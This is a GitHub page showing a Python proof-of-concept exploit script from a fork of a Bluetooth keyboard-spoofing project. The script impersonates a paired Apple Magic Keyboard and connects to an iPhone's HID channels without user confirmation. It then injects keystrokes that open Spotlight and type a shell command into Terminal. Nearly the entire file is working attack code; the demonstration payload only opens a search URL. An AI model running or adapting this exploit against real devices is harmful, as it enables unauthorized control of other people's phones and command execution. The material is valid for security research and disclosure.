forked from marcnewlin/hi_my_name_is_keyboard
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathkeystroke-injection-ios.py
executable file
·134 lines (116 loc) · 4.59 KB
/
keystroke-injection-ios.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#!/usr/bin/env python3
import argparse
import re
import sys
import time
from multiprocessing import Process
from subprocess import Popen, PIPE, STDOUT
from injector.helpers import assert_address, log, run
from injector.client import KeyboardClient
from injector.hid import Key, Mod
from injector.adapter import Adapter
from injector.profile import register_hid_profile
# parse command line arguments
parser = argparse.ArgumentParser("keystroke-injection-macos.py")
parser.add_argument("-i", "--interface", required=True)
parser.add_argument("-t", "--target_address", required=True)
parser.add_argument("-k", "--keyboard_address", required=True)
args = parser.parse_args()
# do a basic sanity check of the provided arguments
assert_address(args.keyboard_address)
assert_address(args.target_address)
assert(re.match(r"^hci\d+$", args.interface))
# restart the local Bluetooth daemon
run(["sudo", "service", "bluetooth", "restart"])
time.sleep(0.5)
# register a generic HID SDP profile
profile_proc = Process(target=register_hid_profile, args=(args.interface, args.target_address))
profile_proc.start()
# setup the adapter
# - configure name and class
# - assume the address of the Magic Keyboard
log.status("configuring Bluetooth adapter")
adapter = Adapter(args.interface)
adapter.set_class(0x002540)
adapter.set_address(args.keyboard_address)
client = KeyboardClient(args.target_address, auto_ack=True)
# connect to Service Discovery Protocol on the iPhone (L2CAP port 1)
log.status("connecting to SDP")
while not client.connect_sdp():
log.debug("connecting to SDP")
adapter.enable_ssp()
log.success("connected to SDP (L2CAP 1) on target")
# instruct the user to unplug the keyboard
log.notice("""
------------------------------------------------------------------------------
| Connect to the paired Magic Keyboard from Bluetooth settings on the iPhone |
------------------------------------------------------------------------------
""")
# wait for an SDP connection from the iPhone
# - when the user unplugs the keyboard from the iPhone, the iPhone immediately
# connects to the SDP service on the Magic Keyboard
# - because we are spoofing the Magic Keyboard while connecting to the
# SDP service running on the iPhone, the iPhone thinks we are the keyboard,
# and starts connecting to our machine
# - when we see the SDP connection attempt, we are able to pair with the
# iPhone and inject keystrokes, without user confirmationgged
with Popen('sudo hcidump -i %s' % adapter.iface, stdout = PIPE, stderr = STDOUT, shell = True) as p:
while True:
line = p.stdout.readline()
log.debug(line)
if b"L2CAP(s): Connect req: psm 1" in line:
break
if not line: break
time.sleep(0.001)
# connect to HID Control on the iPhone (L2CAP port 17)
log.status("connecting to HID Control")
start = time.time()
while not client.connect_hid_control(timeout=1):
log.debug("connecting to HID Control")
time.sleep(0.01)
if time.time() - start >= 10:
log.error("failed to connect to HID Control on the iPhone")
adapter.down()
sys.exit(1)
log.success("connected to HID Control (L2CAP 17) on target")
# connect to HID Interrupt on the iPhone (L2CAP port 19)
log.status("connecting to HID Interrupt")
start = time.time()
while not client.connect_hid_interrupt(timeout=1):
log.debug("connecting to HID Interrupt")
time.sleep(0.01)
if time.time() - start >= 10:
log.error("failed to connect to HID Interrupt on the iPhone")
adapter.down()
sys.exit(1)
log.success("connected to HID Interrupt (L2CAP 19) on target")
# send an empty keyboard report
# - this will kick off a short exchange on HID Control,
# where the iPhone attempts to read some properties of the
# keyboard
# - the KeyboardClient replies to each message from the iPhone
# with a single 0x00 byte
# - after a brief exchange (1-2 seconds), we can inject keystrokes
client.send_keyboard_report()
# wait for the initial HID exchange to complete
while not client.hid_ready:
time.sleep(0.001)
# transmit the keystroke payload
# 1. (Commad+Space)
# 2. terminal\n
# 3. (Ctrl+C)
# 4. open "https://google.com/search?q=this+is+fine"\n
log.status("injecting payload")
client.send_keyboard_report(Mod.LeftMeta, Key.LeftMeta, Key.Space)
time.sleep(0.25)
client.send_ascii("terminal\n\n")
time.sleep(0.5)
client.send_keypress(Key.C, Key.LeftControl, Mod.LeftControl)
client.send_ascii('open "https://google.com/search?q=this+is+fine"\n')
time.sleep(0.1)
# disconnect the L2CAP sockets
log.success("payload has been transmitted; disconnecting Bluetooth HID client")
client.close()
# take the adapter offline
log.status("taking '%s' offline" % args.interface)
adapter.down()